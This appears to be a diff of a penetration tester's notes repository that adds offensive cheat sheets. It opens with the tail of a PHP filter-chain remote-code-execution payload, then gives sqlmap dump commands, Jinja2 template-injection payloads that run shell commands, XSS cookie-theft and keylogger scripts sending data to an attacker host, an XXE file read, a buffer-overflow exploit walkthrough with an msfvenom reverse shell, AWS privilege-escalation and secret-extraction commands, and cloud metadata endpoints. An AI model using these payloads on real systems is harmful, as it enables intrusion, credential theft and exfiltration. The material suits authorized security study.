conv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/var/www/html/development_testing/mrrobot.php&0=id
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
- SQLMap
|
||||
- Crawl scan
|
||||
- `sqlmap -u http://meh.com --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3`
|
||||
- `sqlmap -u http://INSERTIPADDRESS --dbms=mysql --crawl=3`
|
||||
- Targetted scan
|
||||
- `sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/var/www/blah.php"`
|
||||
- Scan url for union + error based injection with mysql backend and use a random user agent + database dump
|
||||
- `sqlmap -u "http://meh.com/meh.php?id=1" --dbms=mysql --tech=U --random-agent --dump`
|
||||
- Check form for inj
|
||||
- `sqlmap -o -u "http://meh.com/form/" –forms`
|
||||
- Dump and crack hashes for table "users" on "database-name"
|
||||
- `sqlmap -o -u "http://meh/vuln-form" --forms -D database-name -T users –dump`
|
||||
- Flush session
|
||||
- `sqlmap --flush session`
|
||||
- Exploit "user" field using boolean technique
|
||||
- `sqlmap -p user --technique=B`
|
||||
- Test specific request saved using Burp
|
||||
- `sqlmap -r <captured request>`
|
||||
@@ -0,0 +1,14 @@
|
||||
- Flowchart to fingerprint underlying templating engine through successive payloads
|
||||
![[Pasted image 20230906000448.png|center]]
|
||||
|
||||
- Jinja2
|
||||
- Get information about Python environment
|
||||
- `{{request.environ}}`
|
||||
- Regress to base `object` class
|
||||
- `{{request.__class__.__base__.__base__}}`
|
||||
- List all loaded top classes
|
||||
1. `{{request.__class__.__base__.__base__.__subclasses__()}}`
|
||||
2. Note interesting top classes, such as `os.system` and `subprocess.Popen`
|
||||
3. Determine their count for the following
|
||||
- Call `subprocess.Popen` to execute commands ("env" in this case)
|
||||
- `{{request.__class__.__base__.__base__.__subclasses__()[282]("env",shell=True,stdout=-1).communicate()[0]}}`
|
||||
@@ -0,0 +1,34 @@
|
||||
- Various XSS payloads
|
||||
- `<img src='LINK' onmouseover="alert('xss')">`
|
||||
- `<img src=x onerror=alert(1)>`
|
||||
- `<img \x00src=x onerror="alert(1)">` - Possible filter bypass
|
||||
- `<object data=javascript:alert(1)>`
|
||||
- `<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>`
|
||||
- `<image src="javascript:alert(1)">`
|
||||
- `<body oninput=javascript:alert(1)><input autofocus>`
|
||||
- Cookie Theft
|
||||
- `<script>document.location='http://ip:port/?='+document.cookie;</script>`
|
||||
|
||||
- Keylogger
|
||||
```HTML
|
||||
<script>
|
||||
var keys='';
|
||||
document.onkeypress = function(e) {
|
||||
get = window.event?event:e;
|
||||
key = get.keyCode?get.keyCode:get.charCode;
|
||||
key = String.fromCharCode(key);
|
||||
keys+=key;
|
||||
}
|
||||
window.setInterval(function(){
|
||||
new Image().src = 'http**s**://**attackerAddress**/**kl**.php?c='+keys;
|
||||
keys = '';
|
||||
}, 1000);
|
||||
</script>
|
||||
```
|
||||
|
||||
- HTML encoding
|
||||
- < encoded to <
|
||||
- > encoded to >
|
||||
- ‘ encoded to '
|
||||
- “ encoded to "
|
||||
- & encoded to &
|
||||
@@ -0,0 +1,6 @@
|
||||
- Basic
|
||||
```XML
|
||||
<?xml version="1.0"?> <!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]> <root>&read;</root>
|
||||
```
|
||||
|
||||
-
|
||||
@@ -0,0 +1,18 @@
|
||||
- Generate all hex characters for testing bad chars:
|
||||
```Python
|
||||
import sys
|
||||
for x in range(1,256):
|
||||
sys.stdout.write("\\x" + '{:02x}'.format(x))
|
||||
```
|
||||
|
||||
- List of all hex chars:
|
||||
```Python
|
||||
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
|
||||
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
|
||||
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
|
||||
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
|
||||
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
|
||||
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
|
||||
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
|
||||
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
|
||||
```
|
||||
@@ -0,0 +1,121 @@
|
||||
- Help
|
||||
- `!mona help assemble`
|
||||
- manual : https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/
|
||||
- Update Mona
|
||||
- `!mona update`
|
||||
- Switch between stable and trunk release:
|
||||
- `!mona update -t release`
|
||||
- `!mona update -t trunk`
|
||||
- Configure working folder
|
||||
- `!mona config -set workingfolder c:\mona%p`
|
||||
- Global options
|
||||
- `-o` - ignore OS module from search operations.
|
||||
- `-m` - specify the modules to perform the search operation on (ex: -m "gtk*,*win*,shell32.dll")
|
||||
- `-m *` searches all modules
|
||||
- `-cm` - set criteria (c) a module (m) should comply with to get included in search operations.
|
||||
- Available:
|
||||
- aslr
|
||||
- rebase
|
||||
- safeseh
|
||||
- nx
|
||||
- os
|
||||
- Example of including aslr and rebase modules, but excluding safeseh modules:
|
||||
- `-cm aslr=true,rebase=true,safeseh=false`
|
||||
- `-cp` - specify what criteria (c) a pointer (p) should match.
|
||||
- Available:
|
||||
- unicode (also includes unicode transforms)
|
||||
- ascii
|
||||
- asciiprint
|
||||
- upper
|
||||
- lower
|
||||
- uppernum
|
||||
- lowernum
|
||||
- numeric
|
||||
- alphanum
|
||||
- nonull
|
||||
- startswithnull
|
||||
- Example : only show pointers that contain ascii printable bytes
|
||||
- `-cp asciiprint`
|
||||
- Example : only show pointers that don’t contain null bytes
|
||||
- `-cp nonull`
|
||||
- `-cpb` - specify bad characters for pointers, so pointers containing them are skipped
|
||||
- Example with null byte, carriage return, and line feet:
|
||||
- `-cpb '\x00\x0a\x0d'`
|
||||
|
||||
- Analyze crash
|
||||
- `!mona findmsp`
|
||||
- Locate EIP - pattern_create / pattern_offset :
|
||||
- `!mona pattern_create 5000`
|
||||
- `!mona pattern_offset <EIP_VALUE>`
|
||||
- Get value on stack (ascii):
|
||||
- `!mona pattern_offset 5Ai6`
|
||||
|
||||
- Find bad characters:
|
||||
- 1 - generate array of all possible characters:
|
||||
- `!mona bytearray -cpb "\x00"`
|
||||
- 2 - Put array of all hex chars into overflow
|
||||
- 3 - run the program until EIP gets overwritten. Then enter the following (0012FD6C is the address of first byte of the badchars array):
|
||||
- `!mona compare -f C:\mona\<app>\bytearray.bin -a 0012FD6C`
|
||||
- 4 - mona gives 1 or multiple badchars. Remove these badchars from array.
|
||||
- 5 - repeat above until all bad chars are removed
|
||||
- Example:
|
||||
- `!mona bytearray -cpb "\x00\x09"`
|
||||
- `!mona compare -f C:\mona\<app>\bytearray.bin -a 0012FD6C`
|
||||
- `!mona bytearray -cpb "\x00\x09\x0a"`
|
||||
- `!mona compare -f C:\mona\<app>\bytearray.bin -a 0012FD6C`
|
||||
- `!mona bytearray -cpb "\x00\x09\x0a\x0d"`
|
||||
- `!mona compare -f C:\mona\<app>\bytearray.bin -a 0012FD6C`
|
||||
|
||||
|
||||
- SEH
|
||||
- Find SEH offset (nseh / seh + jump code):
|
||||
- 1 - Replace A's by unique pattern (pattern_create)
|
||||
- 2 - `!mona sehchain`
|
||||
- Find pop pop ret (for SEH Bypass):
|
||||
- `!mona seh`
|
||||
- Note: this will create seh.txt in working folder
|
||||
|
||||
- Egg Hunter:
|
||||
- Find eggs occurrences in memory:
|
||||
- `!mona find -s "W00TW00T"`
|
||||
- Generate egghunter:
|
||||
- mona can create an egghunter with checksum check :
|
||||
- -t : tag (ex: w00t). Default value is w00t
|
||||
- -c : enable checksum routine. Only works in conjunction with parameter -f
|
||||
- -f : file containing the shellcode
|
||||
- Example:
|
||||
- `!mona egg -t W00T`
|
||||
- `!mona egg -t W00T -c -f shellcode.bin`
|
||||
|
||||
- Find jump or call or push/ret to a register:
|
||||
- `!mona jmp -r edi`
|
||||
- Note: this creates jmp.txt in working folder.
|
||||
|
||||
|
||||
- Find arbitrary instructions in dll:
|
||||
- `/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb`
|
||||
- `jmp esp ==> FF E4`
|
||||
- `!mona modules`
|
||||
- `!mona find -s "\xff\xe4" -m <module>`
|
||||
|
||||
|
||||
- Find shellcode occurrences in memory (and integrity check):
|
||||
- 1 - Create raw shellcode.bin file using Python or anything you'd like
|
||||
- 2 - Search memory for the shellcode with mona:
|
||||
- `!mona compare -f C:\Users\administrator\Desktop\WORK\tmp\shellcode.bin`
|
||||
|
||||
- Asm instructions to opcodes:
|
||||
- `!mona assemble -s "xor eax,eax # pop EBX # ret"`
|
||||
|
||||
- Set breakpoint on addr when the program read or write it:
|
||||
- Mandatory arguments:
|
||||
- -a
|
||||
- -t : where is either “READ” or “WRITE”
|
||||
- Note : the address should exist when setting the breakpoint. If not, you’ll get an error.
|
||||
- Example : set a breakpoint when the application reads from 0012C431:
|
||||
- `!mona bp -a 0x0012C431 -t READ`
|
||||
|
||||
- Generate msfmodule based on crash:
|
||||
- 1 - Replace A's by unique pattern (pattern_create)
|
||||
- 2 - When crash occurs:
|
||||
- `!mona suggest`
|
||||
@@ -0,0 +1,253 @@
|
||||
################
|
||||
Buffer Overflows
|
||||
################
|
||||
|
||||
* https://bytesoverbombs.io/exploiting-a-64-bit-buffer-overflow-469e8b500f10
|
||||
* https://www.abatchy.com/2017/05/jumping-to-shellcode.html
|
||||
* http://www.voidcn.com/article/p-ulyzzbfx-z.html
|
||||
* https://www.securitysift.com/windows-exploit-development-part-4-locating-shellcode-jumps/
|
||||
* https://medium.com/@johntroony/a-practical-overview-of-stack-based-buffer-overflow-7572eaaa4982
|
||||
|
||||
Immunity Debugger
|
||||
=================
|
||||
|
||||
**Always run Immunity Debugger as Administrator if you can.**
|
||||
|
||||
There are generally two ways to use Immunity Debugger to debug an application:
|
||||
|
||||
1. Make sure the application is running, open Immunity Debugger, and then use :code:`File -> Attach` to attack the debugger to the running process.
|
||||
2. Open Immunity Debugger, and then use :code:`File -> Open` to run the application.
|
||||
|
||||
When attaching to an application or opening an application in Immunity Debugger, the application will be paused. Click the "Run" button or press F9.
|
||||
|
||||
Note: If the binary you are debugging is a Windows service, you may need to restart the application via :code:`sc`
|
||||
|
||||
.. code-block:: none
|
||||
|
||||
sc stop SLmail
|
||||
sc start SLmail
|
||||
|
||||
Some applications are configured to be started from the service manager and will not work unless started by service control.
|
||||
|
||||
Mona Setup
|
||||
==========
|
||||
|
||||
Mona is a powerful plugin for Immunity Debugger that makes exploiting buffer overflows much easier. Download: :download:`mona.py <../_static/files/mona.py>`
|
||||
|
||||
| The latest version can be downloaded here: https://github.com/corelan/mona
|
||||
| The manual can be found here: https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/
|
||||
|
||||
Copy the mona.py file into the PyCommands directory of Immunity Debugger (usually located at C:\\Program Files\\Immunity Inc\\Immunity Debugger\\PyCommands).
|
||||
|
||||
In Immunity Debugger, type the following to set a working directory for mona.
|
||||
|
||||
.. code-block:: none
|
||||
|
||||
!mona config -set workingfolder c:\mona\%p
|
||||
|
||||
Fuzzing
|
||||
=======
|
||||
|
||||
The following Python script can be modified and used to fuzz remote entry points to an application. It will send increasingly long buffer strings in the hope that one eventually crashes the application.
|
||||
|
||||
.. code-block:: python
|
||||
|
||||
import socket, time, sys
|
||||
|
||||
ip = "10.0.0.1"
|
||||
port = 21
|
||||
timeout = 5
|
||||
|
||||
# Create an array of increasing length buffer strings.
|
||||
buffer = []
|
||||
counter = 100
|
||||
while len(buffer) < 30:
|
||||
buffer.append("A" * counter)
|
||||
counter += 100
|
||||
|
||||
for string in buffer:
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(timeout)
|
||||
connect = s.connect((ip, port))
|
||||
s.recv(1024)
|
||||
s.send("USER username\r\n")
|
||||
s.recv(1024)
|
||||
|
||||
print("Fuzzing PASS with %s bytes" % len(string))
|
||||
s.send("PASS " + string + "\r\n")
|
||||
s.recv(1024)
|
||||
s.send("QUIT\r\n")
|
||||
s.recv(1024)
|
||||
s.close()
|
||||
except:
|
||||
print("Could not connect to " + ip + ":" + str(port))
|
||||
sys.exit(0)
|
||||
time.sleep(1)
|
||||
|
||||
Check that the EIP register has been overwritten by A's (\\x41). Make a note of any other registers that have either been overwritten, or are pointing to space in memory which has been overwritten.
|
||||
|
||||
Crash Replication & Controlling EIP
|
||||
===================================
|
||||
|
||||
The following skeleton exploit code can be used for the rest of the buffer overflow exploit:
|
||||
|
||||
.. code-block:: python
|
||||
|
||||
import socket
|
||||
|
||||
ip = "10.0.0.1"
|
||||
port = 21
|
||||
|
||||
prefix = ""
|
||||
offset = 0
|
||||
overflow = "A" * offset
|
||||
retn = ""
|
||||
padding = ""
|
||||
payload = ""
|
||||
postfix = ""
|
||||
|
||||
buffer = prefix + overflow + retn + padding + payload + postfix
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
try:
|
||||
s.connect((ip, port))
|
||||
print("Sending evil buffer...")
|
||||
s.send(buffer + "\r\n")
|
||||
print("Done!")
|
||||
except:
|
||||
print("Could not connect.")
|
||||
|
||||
Using the buffer length which caused the crash, generate a unique buffer so we can determine the offset in the pattern which overwrites the EIP register, and the offset in the pattern to which other registers point. Create a pattern that is 400 bytes larger than the crash buffer, so that we can determine whether our shellcode can fit immediately. If the larger buffer doesn't crash the application, use a pattern equal to the crash buffer length and slowly add more to the buffer to find space.
|
||||
|
||||
.. code-block:: none
|
||||
|
||||
$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
|
||||
|
||||
While the unique buffer is on the stack, use mona's findmsp command, with the distance argument set to the pattern length.
|
||||
|
||||
.. code-block:: none
|
||||
|
||||
!mona findmsp -distance 600
|
||||
...
|
||||
[+] Looking for cyclic pattern in memory
|
||||
Cyclic pattern (normal) found at 0x005f3614 (length 600 bytes)
|
||||
Cyclic pattern (normal) found at 0x005f4a40 (length 600 bytes)
|
||||
Cyclic pattern (normal) found at 0x017df764 (length 600 bytes)
|
||||
EIP contains normal pattern : 0x78413778 (offset 112)
|
||||
ESP (0x017dfa30) points at offset 116 in normal pattern (length 484)
|
||||
EAX (0x017df764) points at offset 0 in normal pattern (length 600)
|
||||
EBP contains normal pattern : 0x41367841 (offset 108)
|
||||
...
|
||||
|
||||
Note the EIP offset (112) and any other registers that point to the pattern, noting their offsets as well. It seems like the ESP register points to the last 484 bytes of the pattern, which is enough space for our shellcode.
|
||||
|
||||
Create a new buffer using this information to ensure that we can control EIP:
|
||||
|
||||
.. code-block:: none
|
||||
|
||||
prefix = ""
|
||||
offset = 112
|
||||
overflow = "A" * offset
|
||||
retn = "BBBB"
|
||||
padding = ""
|
||||
payload = "C" * (600-112-4)
|
||||
postfix = ""
|
||||
|
||||
buffer = prefix + overflow + retn + padding + payload + postfix
|
||||
|
||||
Crash the application using this buffer, and make sure that EIP is overwritten by B's (\\x42) and that the ESP register points to the start of the C's (\\x43).
|
||||
|
||||
Finding Bad Characters
|
||||
======================
|
||||
|
||||
Generate a bytearray using mona, and exclude the null byte (\\x00) by default. Note the location of the bytearray.bin file that is generated.
|
||||
|
||||
.. code-block:: none
|
||||
|
||||
!mona bytearray -b "\x00"
|
||||
|
||||
Now generate a string of bad chars that is identical to the bytearray. The following python script can be used to generate a string of bad chars from \\x01 to \\xff:
|
||||
|
||||
.. code-block:: python
|
||||
|
||||
#!/usr/bin/env python
|
||||
from __future__ import print_function
|
||||
|
||||
for x in range(1, 256):
|
||||
print("\\x" + "{:02x}".format(x), end='')
|
||||
|
||||
print()
|
||||
|
||||
Put the string of bad chars before the C's in your buffer, and adjust the number of C's to compensate:
|
||||
|
||||
.. code-block:: none
|
||||
|
||||
badchars = "\x01\x02\x03\x04\x05...\xfb\xfc\xfd\xfe\xff"
|
||||
payload = badchars + "C" * (600-112-4-255)
|
||||
|
||||
Crash the application using this buffer, and make a note of the address to which ESP points. This can change every time you crash the application, so get into the habit of copying it from the register each time.
|
||||
|
||||
Use the mona compare command to reference the bytearray you generated, and the address to which ESP points:
|
||||
|
||||
.. code-block:: none
|
||||
|
||||
!mona compare -f C:\mona\appname\bytearray.bin -a <address>
|
||||
|
||||
Find a Jump Point
|
||||
=================
|
||||
|
||||
The mona jmp command can be used to search for jmp (or equivalent) instructions to a specific register. The jmp command will, by default, ignore any modules that are marked as aslr or rebase.
|
||||
|
||||
The following example searches for "jmp esp" or equivalent (e.g. call esp, push esp; retn, etc.) while ensuring that the address of the instruction doesn't contain the bad chars \\x00, \\x0a, and \\x0d.
|
||||
|
||||
.. code-block:: none
|
||||
|
||||
!mona jmp -r esp -cpb "\x00\x0a\x0d"
|
||||
|
||||
The mona find command can similarly be used to find specific instructions, though for the most part, the jmp command is sufficient:
|
||||
|
||||
.. code-block:: none
|
||||
|
||||
!mona find -s 'jmp esp' -type instr -cm aslr=false,rebase=false,nx=false -cpb "\x00\x0a\x0d"
|
||||
|
||||
Generate Payload
|
||||
================
|
||||
|
||||
Generate a reverse shell payload using msfvenom, making sure to exclude the same bad chars that were found previously:
|
||||
|
||||
.. code-block:: none
|
||||
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.92 LPORT=53 EXITFUNC=thread -b "\x00\x0a\x0d" -f c
|
||||
|
||||
Prepend NOPs
|
||||
============
|
||||
|
||||
If an encoder was used (more than likely if bad chars are present, remember to prepend at least 16 NOPs (\\x90) to the payload.
|
||||
|
||||
Final Buffer
|
||||
============
|
||||
|
||||
.. code-block:: none
|
||||
|
||||
prefix = ""
|
||||
offset = 112
|
||||
overflow = "A" * offset
|
||||
retn = "\x56\x23\x43\x9A"
|
||||
padding = "\x90" * 16
|
||||
payload = "\xdb\xde\xba\x69\xd7\xe9\xa8\xd9\x74\x24\xf4\x58\x29\xc9\xb1..."
|
||||
postfix = ""
|
||||
|
||||
buffer = prefix + overflow + retn + padding + payload + postfix
|
||||
|
||||
Buffer Overflow Practice
|
||||
========================
|
||||
|
||||
* https://github.com/justinsteven/dostackbufferoverflowgood
|
||||
* https://github.com/stephenbradshaw/vulnserver
|
||||
* https://www.vortex.id.au/2017/05/pwkoscp-stack-buffer-overflow-practice/
|
||||
|
||||
- Thanks to Tib3rius for this!
|
||||
- https://raw.githubusercontent.com/Tib3rius/Pentest-Cheatsheets/master/exploits/buffer-overflows.rst
|
||||
@@ -0,0 +1,113 @@
|
||||
- Using credentials with AWS CLI involves a file at `~/.aws/credentials`, with the following example format:
|
||||
```
|
||||
[<profile_name>]
|
||||
aws_access_key_id = <key>
|
||||
aws_secret_access_key = <secret>
|
||||
aws_session_token = <session_token>
|
||||
```
|
||||
- Add `--profile demo` to use the above with AWS CLI commands
|
||||
- List accounts belonging to organization
|
||||
- `aws organizations list-accounts`
|
||||
- Get information about IAM role
|
||||
- `aws iam get-role --role-name <role_name> --profile <profile_name>`
|
||||
- List details on instances
|
||||
- ` aws ec2 describe-instances --region=<region> --profile <profile_filename>`
|
||||
- List details on container repositories
|
||||
- `aws ecr describe-repositories --region=<region> --profile gretsch1`
|
||||
- Get user information
|
||||
- `aws iam get-user --profile <profile_name>`
|
||||
- `aws iam list-attached-user-policies --user-name=<username> --profile <profile_name>`
|
||||
- Get information on policy
|
||||
- ` aws iam get-policy --policy-arn mxrads-self-manage --profile kevin`
|
||||
- Version
|
||||
- ` aws iam iam get-policy --policy-arn <policy_arn> --profile <profile_name>`
|
||||
- Get Content
|
||||
- ` aws iam iam get-policy-version --policy-arn <policy_arn> --version <version> --profile <profile_name>`
|
||||
- List users and groups affiliated with default Administrator policy
|
||||
- `aws iam list-entities-for-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess`
|
||||
- List current access keys for user (there can only be 2, so anything less allows you to add one)
|
||||
- `aws iam list-access-keys --user b.daniella | jq ".AccessKeyMetadata[].AccessKeyId"`
|
||||
- Create access key for user
|
||||
- `aws iam create-access-key --user b.daniella`
|
||||
- Change role policy
|
||||
- `aws iam update-assume-role-policy --role-name lambda-dmp-sync --policy-document file://new_policy.json`
|
||||
- Find roles capable of `assume-role` calls for `lambda.amazonaws.com`
|
||||
- `aws iam list-roles | jq -r '.Roles[] | .RoleName + ", " + .AssumeRolePolicyDocument.Statement[].Principal.Service' | grep "lambda.amazonaws.com"`
|
||||
- Check IAM policies for role
|
||||
- `aws iam list-attached-role-policies --role <role_name> --profile <profile_name>`
|
||||
- Look for roles with high permissions like `IAMFullAccess` and which lack write permissions to CloudWatch
|
||||
- Inspect security groups
|
||||
- `aws ec2 describe-security-groups --group-ids <id_1> <id_2>`
|
||||
- Assume role
|
||||
- `aws sts assume-role --role-arn arn:aws:iam::886371554408:user/lambda-dmp-sync --role-session-name AWSCLI-Session --duration-seconds 43200`
|
||||
- List existing lambda functions
|
||||
- `aws iam lambda list-functions -region=<region>`
|
||||
- Get information on Lambda function
|
||||
- `aws lambda get-function --function-name <lambda_func_name> --region <region> --profile <profile_name>`
|
||||
- Get information on Kubernetes cluster
|
||||
- `aws eks describe-cluster --name <cluster_name> --profile <profile_filename> --region=<region>`
|
||||
- Get information from Resource Groups Tagging API
|
||||
- `aws resourcegroupstaggingapi get-resources --region <region> --profile <profile_name>`
|
||||
- List secrets
|
||||
- `aws secretsmanager list-secrets --region <region> --profile <profile_name>`
|
||||
- Download secret
|
||||
- `aws secretsmanager get-secret-value --secret-id '<ID>' --region=eu-west-1 --profile it-role | jq -r .SecretString | base64 -d`
|
||||
- List buckets accessible with these credentials/this role:
|
||||
- `aws s3api listbuckets --profile <profile_name>`
|
||||
- List buckets and show bucket names only
|
||||
- `aws s3api list-buckets --profile <profile_name> --query "Buckets[].Name"`
|
||||
- Sync bucket
|
||||
- mounted locally
|
||||
- `aws s3 sync s3://<bucket_name> <filesystem_mount_point>`
|
||||
- With another bucket
|
||||
- `aws s3 sync s3://source-bucket/ s3://destination-bucket`
|
||||
- List keys inside a single bucket
|
||||
1. `aws s3api list-objects-v2 --profile <profile_name> --bucket <bucket_name> > list_objects_dl.txt`
|
||||
2. `grep '"Key"' list_objects_dl | sed 's/[",]//g' > list_keys_dl.txt`
|
||||
- Check for S3 bucket logging
|
||||
- `aws s3api get-bucket-logging --profile <profile_name> --bucket <bucket_name>`
|
||||
- Check bucket policy
|
||||
- `aws s3api get-bucket-policy --bucket <bucket_name>`
|
||||
- Get account ID
|
||||
- `aws sts get-caller-identity --profile <profile_name>`
|
||||
- Create a new bucket:
|
||||
- `aws s3api create-bucket --bucket <bucket_name> --region=<aws_region> --create-bucket-configuration LocationConstraint=<aws_region>`
|
||||
- Upload file to bucket:
|
||||
- ` aws s3api put-object --bucket <bucket_name> --key <key_name> --body <filename>`
|
||||
- Change file permissions in bucket:
|
||||
- `aws s3api put-bucket-policy --bucket <bucket_name> --policy file://<local_policy_file>`
|
||||
- Exchange service account token for IAM keys (only for proper service account tokens with OpenID info in AWS)
|
||||
1. `AWS_ROLE_ARN="<role_name>"`
|
||||
- e.g. `AWS_ROLE_ARN="arn:aws:iam::886477354405:role/api-core.ec2"`
|
||||
2. `TOKEN ="<token>"`
|
||||
3. `aws sts assume-role-with-web-identity --role-arn $AWS_ROLE_ARN --role-session-name sessionID --web-identity-token $TOKEN --duration-seconds 43200`
|
||||
- Exchange IAM key for Kubernetes token
|
||||
- `aws eks get-token --cluster-name <cluster_name> --profile <profile_name>`
|
||||
- Create kubectl config
|
||||
- `aws eks update-kubeconfig --name <cluster_name> --profile <profile_name>`
|
||||
- Get all instances that match a specific tag
|
||||
- `while read p; do instanceID=$(aws ec2 describe-instances --filter "Name=tag:Name,Values=*$p*" --query 'Reservations[0].Instances[].InstanceId' --region=eu-west-1 --output=text; echo $instanceID > list_ids.txt; done <services.txt`
|
||||
- Get user data from instance IDs in a file
|
||||
- `while read p; do userData=$(aws ec2 describe-instance-attribute --instance-id $p --attribute userData --region=eu-west-1 | jq -r .UserData.Value | base64 -d) echo $userData > $p.txt done`
|
||||
- Get launch configurations
|
||||
- `aws autoscaling describe-launch-configurations`
|
||||
- `aws ec2 describe-launch-templates`
|
||||
- Start instance with user data script that runs on startup:
|
||||
- `aws ec2 run-instances --image-id ami-<id> --count 1 --instance-type m3.medium --iam-instance-profile <profile_name> --subnet-id subnet-<id> --security-group-ids sg-<id> --tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=spark-worker-5739ecea19a4}]' --user-data file://<startup_script> --profile <profile_name> --region <region>`
|
||||
- Redshift
|
||||
- Get info on clusters
|
||||
- `aws redshift describe-clusters`
|
||||
- Get credentials for cluster
|
||||
- `aws get-cluster-credentials --db-user root --db-name <database_name> --cluster-identifier <cluster_id> --duration-seconds 3600`
|
||||
- Check monitoring
|
||||
- Access Analyzer
|
||||
- `aws accessanalyzer list-analyzers --region=<region>`
|
||||
- CloudTrail
|
||||
- `aws cloudtrail describe-trails --region=<region>`
|
||||
- GuardDuty
|
||||
- `aws guardduty list-detectors --region=<region>`
|
||||
- Extract info from CloudTrail
|
||||
- `aws logs describe-log-groups --region=<region> --profile <profile_name>`
|
||||
- Filter for activity referring to a specific account
|
||||
- `aws logs filter-log-events --log-group-name "CloudTrail/DefaultLogGroup" --filter-pattern "<account_ID>" --max-items 10 --profile <profile_name> --region <region> | jq ".events[].message" | sed 's/\\//g'
|
||||
`
|
||||
@@ -0,0 +1,29 @@
|
||||
- Full list of endpoints:
|
||||
- https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html
|
||||
|
||||
- Region
|
||||
- http://169.254.169.254/latest/meta-data/placement/availability-zone
|
||||
- Instance ID
|
||||
- http://169.254.169.254/latest/meta-data/instance-id
|
||||
- AMI ID (image ID)
|
||||
- http://169.254.169.254/latest/meta-data/ami-id
|
||||
- Public hostname (containing public IP as well)
|
||||
- http://169.254.169.254/latest/meta-data/public-hostname
|
||||
- MAC address
|
||||
- http://169.254.169.254/latest/meta-data/network/interfaces/macs/
|
||||
- Owner ID
|
||||
- http://169.254.169.254/network/interfaces/macs/<MAC_address>/owner-id
|
||||
- Security Groups
|
||||
- http://169.254.169.254/network/interfaces/macs/<MAC_address>/security-groups
|
||||
- Subnet ID
|
||||
